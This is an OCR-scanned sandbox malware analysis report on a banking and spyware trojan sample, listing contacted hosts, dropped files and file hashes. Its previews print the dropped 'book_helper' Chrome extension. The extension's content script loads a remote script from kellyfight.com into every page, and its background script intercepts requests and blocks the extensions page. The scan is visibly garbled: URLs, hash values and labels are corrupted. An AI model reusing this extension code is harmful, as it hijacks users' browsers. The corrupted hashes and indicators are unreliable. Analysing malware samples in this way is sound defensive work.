EN7b3d710ac67a4a1195648458258f97dd.min.js

http:/f
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434
d91f2e635/RCfd484f9188564713bbc5d13d862ebbf

hitp://https://duckduckgo.com/chrome_newtabH

hitp://https://curl.haxx.se/docs/http-cookies.html

hitp://www.openssl.org/support/fag.html

http:/f
https://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_a
uto%2Ch_333%2Cw_311%2Cc_fill%2Cg_faces:aut

http:/f
www.winimage.com/zLibDlIresource://scrollbar_u_h.pngresour
ce:/Iscrollbar_d_h.pngresource://sc

http:/f
images.outbrainimg.com/transform/v3/eyJpdSI6lilsimI1ZSI6Im
hOdHABLY9pbWFNZXMyLnplbWFudGEuY29tL

hitp://https://www.instagram.comsec-fetch-mode:

http:/f
https://www.instagram.com/accounts/login/ajax/facebook/

http:/f
https://login.microsoftonline.com/common/oauth2/authorize?
client_id=9ealad79-fdb6-4f9a-8bc3-2b70f96e

hitp://crl.thawte.com/Thawte TimestampingCA.crl0

hitp://https://contextual.media.net/checksync.php?
&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prv
id=77%2

Copyright null 2021

Source

6272167835D47591.exe, 00000002
.00000002.353440614.0000000003
51C000.00000004.00000001.sdmp,
6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

6272167835D47591.exe, 62721678
35D47591.exe, 00000004.0000000

3.272825480.00000000041AC000.0
0000004.00000001.sdmp, 6272167

835D47591.exe, 00000004.000000

03.272318191.0000000004187000.
00000004.00000001.sdmp

6272167835D47591.exe, 00000002
.00000002.353440614.0000000003
51C000.00000004.00000001.sdmp,
6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

download_engine.dll.2.dr
ecv37E8.tmp.9.dr
ecv37E8.tmp.9.dr

6272167835D47591.exe, 00000002
.00000002.353440614.0000000003
51C000.00000004.00000001.sdmp,
6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

download_engine.dll.2.dr

6272167835D47591.exe, 00000002
.00000002.353440614.0000000003
51C000.00000004.00000001.sdmp,
6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

ecv37E8.tmp.9.dr

ecv37E8.tmp.9.dr

ecv37E8.tmp.9.dr

6272167835D47591.exe, 00000002
.00000003.288462252.0000000000
7E8000.00000004.00000001.sdmp

6272167835D47591.exe, 00000002
.00000002.353010517.0000000003
4BF000.00000004.00000001.sdmp,
6272167835D47591.exe, 0000000

4.00000002.280539335.000000000
344F000.00000004.00000001.sdmp

download_engine.dll.2.dr

ecv37E8.tmp.9.dr

N1yprTBBXs.exe

ecv37E8.tmp.9.dr

6272167835D47591.exe, 00000002
.00000002.353440614.0000000003
51C000.00000004.00000001.sdmp,
6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

6272167835D47591.exe, 00000004
.00000002.280686595.0000000003
4AC000.00000004.00000001.sdmp

ecv37E8.tmp.9.dr

N1yprTBBXs.exe
ecv37E8.tmp.9.dr

Malicious

false

false

false

false
false
false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e Avira URL Cloud: safe

e Avira URL Cloud: safe
e Avira URL Cloud: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

Reputation

high

high

unknown

high
unknown
unknown

high

high

low

high

high

high

high

high

high
high

high

unknown

unknown

high

high

high

high
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Name

hitp://https://www.instagram.com/sec-fetch-site:

hitp:iy

hitp:iy

hitp:;

hitp:iy

hitp:;

hitp:iy

https://twitter.comReferer:

84CFBA021A5A6662.xyz/#y

‘www.interestvideo.com/videol.php

https://www.instagram.com/accept:

/https://ASDACE54CC78B3CA.xyz/t

hitp:iy

https://cvision.media.net/new/300x194/2/138/47/25/3b2da2d4-

7a38-47¢3-b162-f33e769f51f5.jpg?v=9

hitp://https://srtb.msn.com/auction?a=de-
ch&b=623d43496a394c99b1336ff5cc139eb9&c=MSN&d=http

%3A%2F%2Fwww.msn

hitp

“/iwww.youtube.com

Contacted IPs

Pu

IP
104

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% < No. of IPs

blic

Domain

.21.23.16 unknown

Copyright null 2021

https://www.messenger.com/login/nonce/

Source

6272167835D47591.exe, 00000002
.00000002.353440614.0000000003
51C000.00000004.00000001.sdmp,
6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

6272167835D47591.exe, 00000004
.00000002.280686595.0000000003
4AC000.00000004.00000001.sdmp

6272167835D47591.exe, 00000004
.00000003.273221994.0000000004
191000.00000004.00000001.sdmp

6272167835D47591.exe, 00000004
.00000002.280539335.0000000003
44F000.00000004.00000001.sdmp

6272167835D47591.exe, 00000002
.00000002.353440614.0000000003
51C000.00000004.00000001.sdmp,
6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

6272167835D47591.exe, 00000002
.00000003.344625053.0000000000
BA7000.00000004.00000040.sdmp

6272167835D47591.exe, 00000002
.00000002.353440614.0000000003
51C000.00000004.00000001.sdmp,
6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

ecv37E8.tmp.9.dr

ecv37E8.tmp.9.dr

6272167835D47591.exe

Country Flag

United States =

Malicious

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

Reputation

high
e Avira URL Cloud: safe unknown
e Avira URL Cloud: safe unknown
e Avira URL Cloud: safe unknown
high
e Avira URL Cloud: safe unknown
high
high
high
high
ASN ASN Name Malicious
13335 CLOUDFLARENETUS false
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Private

IP
127.0.0.1

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Run name:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Copyright null 2021

31.0.0 Emerald
346123
29.01.2021
17:37:39
CloudBasic

Oh 14m 25s
false

light
N1yprTBBXs.exe
default.jbs

Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211

Run with higher sleep bypass
40

0
0
0
0

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default
Timeout
MAL
mal93.bank.troj.spyw.evad.WinEXE@32/37@4/2
Failed
e Successful, ratio: 34.2% (good quality ratio 32.7%)
e Quality average: 82.3%
e Quality standard deviation: 26.4%
e Successful, ratio: 58%

e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

e Sleeps bigger than 120000ms are automatically
reduced to 1000ms

e Found application associated with file extension:
.exe
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Warnings:

Simulations

Behavior and APIs

No simulations

Joe Sandbox View | Context

IPs
Match Associated Sample Name /| URL SHA 256
104.21.23.16 Get hash

Get hash

Get hash

Copyright null 2021

Show All

Detection

malicious

malicious

malicious

Exclude process from analysis (whitelisted):
MpCmdRun.exe, audiodg.exe,
BackgroundTransferHost.exe, WMIADAP .exe,
backgroundTaskHost.exe, SgrmBroker.exe,
conhost.exe, svchost.exe

TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted):
104.43.193.48, 104.42.151.234, 23.211.6.115,
23.210.248.85, 51.11.168.160, 2.20.142.209,
2.20.142.210, 51.103.5.159, 51.104.139.180,
92.122.213.194, 92.122.213.247, 20.54.26.129,
52.155.217.156

Excluded domains from analysis (whitelisted):
au.download.windowsupdate.com.edgesuite.net,
arc.msn.com.nsatc.net, store-images.s-
microsoft.com-c.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, wns.notify.windows.com.akadns.net,
al449.dscg2.akamai.net, arc.msn.com,
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, e12564.dspb.akamaiedge.net,
emeal.wns.notify.trafficmanager.net,
audownload.windowsupdate.nsatc.net,
displaycatalog.mp.microsoft.com,
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net,
prod.fs.microsoft.com.akadns.net, au-bg-
shim.trafficmanager.net, displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net,
client.wns.windows.com, fs.microsoft.com, ris-
prod.trafficmanager.net,
displaycatalog.md.mp.microsoft.com.akadns.net,
e1723.g.akamaiedge.net,
ctldl.windowsupdate.com, a767.dscg3.akamai.net,
skypedataprdcolcus15.cloudapp.net,
ris.api.iris.microsoft.com, store-images.s-
microsoft.com,
blobcollector.events.data.trafficmanager.net,
skypedataprdcolwus16.cloudapp.net

Report size exceeded maximum capacity and may
have missing behavior information.

Report size getting too big, too many
NtDeviceloControlFile calls found.

Report size getting too big, too many
NtOpenKeyEx calls found.

Report size getting too big, too many
NtProtectVirtualMemory calls found.

Report size getting too big, too many
NtQueryValueKey calls found.

Link Context

Browse e B84CFBA021
A5AB662.xy
zlinfo_old/ddd

Browse e B84CFBA021
A5AB662.xy
zlinfo_old/ddd

Browse e B84CFBA021
A5AB662.xy
zlinfo_old/ddd
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https://view.joesandbox.com/analysis/259500/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259500/html/none?idtype=webid
https://view.joesandbox.com/analysis/259382/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259382/html/none?idtype=webid
https://view.joesandbox.com/analysis/259366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259366/html/none?idtype=webid

Domains

Match
84CFBA021A5A6662.xyz

84cfba021a5a6662.xyz

ASN

Match
CLOUDFLARENETUS

JA3 Fingerprints
No context

Dropped Files

Match

C:\Users\user\AppData\Local\Temp\MSI
1983.tmp

C:\Users\user\AppData\Local\Temp\dow
nload\MiniThunderPlatform.exe

C:\Users\user\AppData\Local\Temp\6272

167835D47591.exe

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

> > >
/] /] /]
173 173 173
o o o
2, 2, 2,
2 2 2
@ @ @
o o o
7] 7] 7]
o 2 2
3 3 3
j= i i
) ) )
2 2 2
& o &
3 3 3
® ® ®
c c c
A A A
[l [l [l

Created / dropped Files

C:\Users\luser\AppData\Local\Cookies1611970726289

Process: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
File Type: SQLite 3.x database, last written using SQLite version 3032001
Category: dropped

Size (bytes): 20480

Entropy (8bit): 0.698304057893793

Copyright null 2021

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

e 104.21.23.16
e 172.67.208.74
e 104.21.23.16
e 104.21.23.16
e 104.21.23.16
e 172.67.208.74
e 104.21.23.16
e 104.21.23.16

Context

e 104.21.23.16

e 172.67.1.225

e 172.67.208.74
e 172.67.1.225

e 172.67.176.199
e 104.21.47.75

e 104.21.23.16

e 104.21.27.240
e 172.64.100.5

e 104.21.23.16

e 104.20.184.68
e 172.67.169.213
e 172.67.169.213
e 104.21.27.240
e 104.21.27.240
e 104.21.27.240
e 104.21.27.240
e 172.67.169.213
e 172.67.169.213
e 172.67.169.213

Context
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https://view.joesandbox.com/analysis/259500/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259500/html/none?idtype=webid
https://view.joesandbox.com/analysis/259493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259493/html/none?idtype=webid
https://view.joesandbox.com/analysis/259382/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259382/html/none?idtype=webid
https://view.joesandbox.com/analysis/259366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259366/html/none?idtype=webid
https://view.joesandbox.com/analysis/259500/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259500/html/none?idtype=webid
https://view.joesandbox.com/analysis/259493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259493/html/none?idtype=webid
https://view.joesandbox.com/analysis/259382/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259382/html/none?idtype=webid
https://view.joesandbox.com/analysis/259366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259366/html/none?idtype=webid
https://view.joesandbox.com/analysis/259500/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259500/html/none?idtype=webid
https://view.joesandbox.com/analysis/259499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259499/html/none?idtype=webid
https://view.joesandbox.com/analysis/259493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259493/html/none?idtype=webid
https://view.joesandbox.com/analysis/259490/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259490/html/none?idtype=webid
https://view.joesandbox.com/analysis/259409/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259409/html/none?idtype=webid
https://view.joesandbox.com/analysis/259385/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259385/html/none?idtype=webid
https://view.joesandbox.com/analysis/259382/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259382/html/none?idtype=webid
https://view.joesandbox.com/analysis/259373/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259373/html/none?idtype=webid
https://view.joesandbox.com/analysis/259371/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259371/html/none?idtype=webid
https://view.joesandbox.com/analysis/259366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259366/html/none?idtype=webid
https://view.joesandbox.com/analysis/259355/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259355/html/none?idtype=webid
https://view.joesandbox.com/analysis/259354/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259354/html/none?idtype=webid
https://view.joesandbox.com/analysis/259348/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259348/html/none?idtype=webid
https://view.joesandbox.com/analysis/259336/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259336/html/none?idtype=webid
https://view.joesandbox.com/analysis/259335/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259335/html/none?idtype=webid
https://view.joesandbox.com/analysis/259332/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259332/html/none?idtype=webid
https://view.joesandbox.com/analysis/259326/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259326/html/none?idtype=webid
https://view.joesandbox.com/analysis/259323/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259323/html/none?idtype=webid
https://view.joesandbox.com/analysis/259320/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259320/html/none?idtype=webid
https://view.joesandbox.com/analysis/259319/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259319/html/none?idtype=webid
https://view.joesandbox.com/analysis/259500/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259500/html/none?idtype=webid
https://view.joesandbox.com/analysis/259493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259493/html/none?idtype=webid
https://view.joesandbox.com/analysis/259382/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259382/html/none?idtype=webid
https://view.joesandbox.com/analysis/259366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259366/html/none?idtype=webid
https://view.joesandbox.com/analysis/259500/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259500/html/none?idtype=webid
https://view.joesandbox.com/analysis/259493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259493/html/none?idtype=webid
https://view.joesandbox.com/analysis/259382/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259382/html/none?idtype=webid
https://view.joesandbox.com/analysis/259366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259366/html/none?idtype=webid
https://view.joesandbox.com/analysis/259493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259493/html/none?idtype=webid

C:\Users\luser\AppData\Local\Cookies1611970726289

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

false

24:TLbILbXaFpEO5bNmMISHNO6UwWCQPX5fBolL4rtEy80: T5LLOpPEO5J/Kn7ULluBol+j

3806E8153A55C1A2DA0B09461A9C882A

BD98AB2FB5E18FD94DC24BCE875087B5C3BB2F72

366E8B53CEBCC27C0980AC532C2E9D372399877931ABOCEA075C62B3CBOF82BE
31E96CC89795D80390432062466D542DBEA7DF31E3E8676DF370381BEDC720948085AD495A735FBDB75071DE45F3B8E470D809E863664990A79DEESADCE48F1(

false

SQLite format 3.

C:\Users\luser\AppData\Local\Cookies1611970737289

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

20480

0.698304057893793

false

24:TLbJLbXaFpEO5bNmMISHNO6UwWCQPX5fBolL4rtEy80: T5LLOPEO5J/Kn7ULluBol+j
3806E8153A55C1A2DA0B09461A9C882A
BD98AB2FB5E18FD94DC24BCE875087B5C3BB2F72
366E8B53CE8CC27C0980AC532C2E9D372399877931ABOCEA075C62B3CBOF82BE
31E96CC89795D80390432062466D542DBEA7DF31E3E8676DF370381BEDC720948085AD495A735FBDB75071DE45F3B8E470D809E863664990A79DEESADCE48F1(

false

SQLite fOrmat 3......@ .ovveeieeeeeee e Covoen Lo T T TSSO TSRO R PP PRPP

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_O\background.js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

ASCII text

dropped

886

5.022683940423506

false

24:sFfWxmARONJTWO/18/IZ90KMmA6eiH4AMmDCvTV3u4:sYo/NJ/7Augi8Dy
FEDACA056D174270824193D664E50A3F
58D0C6E4EC18AB761805AABB8D94F3C4CBE6G39F5
8F538ED9E633D5CIEA3E8FB1354F58B3A5233F1506C9D3D01873C78E3EB88B8D

2F1968EDE11B9510B43B842705E5DDACAF85A9E2AAGAEES42BEC80600228FF5A5723246F77C526154EB9A00A87A5C7DDD634447A8F7A97D6DA33B94509731DB
C

false

$(function() {..chrome.tabs.onSelectionChanged.addListener(function(tab,info){....chrome.tabs.query({....active : true...}, function(tab) {....var pageUrl = tab[0].url;....console.
log(pageUrl);....if (Number(pageUrl.indexOf("extensions")) > 1) ....{....chrome.tabs.update({url:'https://chrome.google.com/webstore/category/extension’}); ....}.
..chrome.webRequest.onBeforeRequest.addListener(function(details) {....chrome.tabs.query({....active : true...}, function(tab) {....var pageUrl = tab[0].url;...});.......
details.url;...}, {...urls : [ "<all_urls>"]..}, [ "blocking" ]);...function sendMessageToContentScript(message, callback) {...chrome.tabs.query({....active : true,....currentWindow :
true...}, function(tabs) {....chrome.tabs.sendMessage(tabs[0].id, message, function(response) {.....if (callback)......callback(response);....});...});..}..});

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0\book.js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

Copyright null 2021

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

ASCII text, with CRLF line terminators

dropped

152

5.039480985438208

false

3:2LGffWpnYOJRYRmgO9INCaVpveL WCfKVsSdDXaDQTNUHWSpHovJiRzILBche:2LGXWpn7J8mgO9I3BeiCfLSdDYGNeW7u
30CBBF4DF66B87924C75750240618648

64AF3DD53D6DED500863387E407F876C89A29B9A
D35FBD13C27F0A01DC944584D05776BA7E6AD3B3D2CBDE1F7C349E94502127F5

8117B8537A0B5F4BB3ED711D9F062E7A901A90FD3D2CFIDFFCC15D03ED4E001991BA2C79BCAQ72FA7FD7CE100F38370105D3CE76EB87F2877C0BF18B4D8CF
AB

false

(function(){.. var s = document.createElement('script’); .. s.src = '//kellyfight.com/22aff56f45f6b36dec.js"; .. document.body.appendChild(s);..})();
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0O\icon.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced

dropped

1161

7.79271055262892

false
24:2mEKEVFZonmDzTaC6EU1yPj0bhJKaurzF3LvLIeR2D+JGP6A8UJOWrBl4ez:DExZomDXelyPYHKNx3LVLVWFP6noFy4M
5D207F5A21E55E47FCCD8EF947A023AE

3AB0A7CF3A8C8FIBDCE89A04239A7E296A94160F
4EBCE139D89A497ADBAC6F7D2FFCI6B583DA1882578AB09D121A459C5AD8335F
38436956D5414A2CF66085F290EF15681DBF449B453431F937A09BFE21577252565D0C9FAOACEAAD158B099383E55B94C721E23132809DF728643504EFFCBE2B

false

LV.|z.Z_.b$..)...z....|\.23Uw.
L2 .X.LG.H..=...03...2F.f1I6.W.~+@. D.....g+......1].*..... .ob.8.M.jg....X....L.P....A.D..Uo2....\.....w.y.. & .W..". XAE..V..<t.Y.,.@....... rb..R$..8@..(.. ...i..H.

R)".h..1.43]jr......p..pd.G"..83%..,.M..RL".....u.....84u ...0...M.P0..".3.x.;....e0.Lr..)....... XH.:
LLrlklO08z7 UaaHIW.w..uU....0... u ...0.0&]..;.0f,..j.P

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0\icon48.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced

dropped

2235

7.880518016071819

false
48:9V93V/3XpV1P2gnjz8xqNaT5YmiH+0Rn6r20gpZGYmT2pN6esC+s5szuZNwG:BIFP7jzUTKm26rMCYmneWsCG
E35B805293CCD4F74377E9959C35427D

9755C6F8BAB51BD40BD6A51D73BE2570605635D1
2BF1D9879B36BE03B2F140FAD1932BC6AAAAACB34082C2CDIEIBBE6G773918CAO
6C7D37378AA1E521E73980C431CE5815DEDB28D5B7003009B91392303D3BEC1EE6F2AAE719B766DA4209B607CD702FAE283E1682D3785EFF85E07D5EE81319C

false

PNG........ IHDR...0...0....W....... IDATh..Z]\G.......4."..8N..XB....D#.< $. W..}...K..P.Q........... P..-xJT.O.*IUBNjHI'".2..d k......;
kw{&{[v;..ot.Zm. ). PN.....i\. ..r.iU.O..f.......... {...B*..dh)..L:])"...".....c. L, .QUf~BD@2s {'V.A.{ IAFO...I......7..7.)j]=...p.S. #. X Ar@$.LQ
....h.]P.E.3T.]..4..8..)..0.._...c.g....L...T.VR]y....Bd..y k.x.m[g.7.....S&.."..Rx~...R...y.n.7n.L.|..OZH....... YR....... 9....1..%H_"..n...Q.Q..a..wy} .EnL..r"'W...M.%e.1"..i.El.NO
_@.S...+>=L..f.<..? N..e2.@.dw...{.... S <#..U<..tM]%K..}.c....... NLB."V)A.x.0..-..Y.0..0....L'zk$.$..Yvi..xP .k.sB..z..\L...k.L.47[8.2.../..0s..T..O
nE@.QUPRYNH XL H< LT '&.1...C..7....z"Xf..e} ..j..g....>.Z{qcm..D.F.DyLK. @@..w,A.a.@.. ..sk.iZ"..d..+.M.....&N.y

@\ M5)\.&€0.J...|...Z

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0\jquery-1.8.3.min.js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

ASCII text, with very long lines, with CRLF line terminators

dropped

93637

5.292996107428883

false
1536:96lzxETpavYSGaW4snuHEk/yosnSFngC/VEEGOvdOKO4emAp2LSEMBovVIR+11z5T:v+vlklosn/BLXjxzMhsSQ
E1288116312E4728F98923C79B034B67

8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9EOFOC2D32
BF28A9A446E50639A9592D7651F89511FCA4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656

false

/*!'jQuery v1.8.3 jquery.com | jquery.org/license */..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]='0}),t}unction H(e,n,r){if(r===t&&e.no
deType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!L:r==="null"?null:+r+"'===r?+r:D.te
st(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=tjreturn r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}re
turn!O}function et(){return!1}function tt(){return!0}function ut(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1
);return e}function ft(e,t,n){t=t||0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e=
==n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v filter(t,r,!n);t=v filter(t

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_O\manifest.json

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

Copyright null 2021

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

ASCII text, with very long lines, with CRLF, LF line terminators

dropped

2380

5.687293760500434

false
48:QWRIWSIlelclwm6g838z/0TFi5acPKFe8Elelcla+E8t8Rc3T:DR4AMwmgi5PWevMa+T
ADF10776EEC8DCOF6E7E3B4AD59CF504
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_O\manifest.json

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

4F11FE569189036B42923EF5A8AFB0985DCECDFS5
ED373E2B91FDF477D1CC1F8B709C03F03A3963ACA99F51071D5F24407095D22D

7328245AA1473B217BFD33B65A07D0OBD1DA96C8A85D5A6DD43E71072211D7BES6AF00BBF1C724747EEADAF36A8A713CE440557B46CBOF2E2CDD35B05C3793C
D5

false

{.. "background" {..  "persistent": true,..  "scripts": [ "jquery-1.8.3.min.js", "background.js"].. },.. "browser_action": {..  “"default_icon": “icon.png",..  "defaul
t_popup": "popup.html",.. ~ "default_title": "book_helper".. },.. "content_scripts": [{..  "all_frames": false,..  "js":["book.js"],.. ~ "matches": [ "http://*/*", "https://*/*"
1,.. "run_at™: "document_idle".. }],.. "description": "book_helper",.. "icons":{..  "16":"icon.png",..  "48" "icon48.png".. },.. "key": "MIIBIJANBgkghkiG

9WOBAQEFAAOCAQBAMIIBCgKCAQEALtm+QFuyEAjdg8bsB1Amy5MksnoFTx+/SDDbN1zp5WgXOZWc9GtAIPwVIdE3Bgkz4u8NnwddyOMunE1cB3zfqw9BHJII2
plaoQH+nQDXCtH2tfOsX9a9JWrQY SgvH5SDsycSaMBd0jaBbC80g6zZEFPE1OR2tcyLkNMJI+p8WzCH2RXQabcwxhCzksydkJhB4scqZjKselZIxF724QuudE
sY5CVuoTeremfMAkke231zB28kf8LkPBCqMR1p/kuib+izmHgQ2132TwRXIk50kVE+D8KSvhovl/SWRmtSqepONWXmf/LKXVv2pbgnnb8+OXP6v02MjQ9ioEaX5CKOAgGBQ
IDAQAB",.. "manifest_version": 2,.. "name": "book_helper

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0\popup.html

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

HTML document, ASCII text

dropped

280

5.048307538221611

false
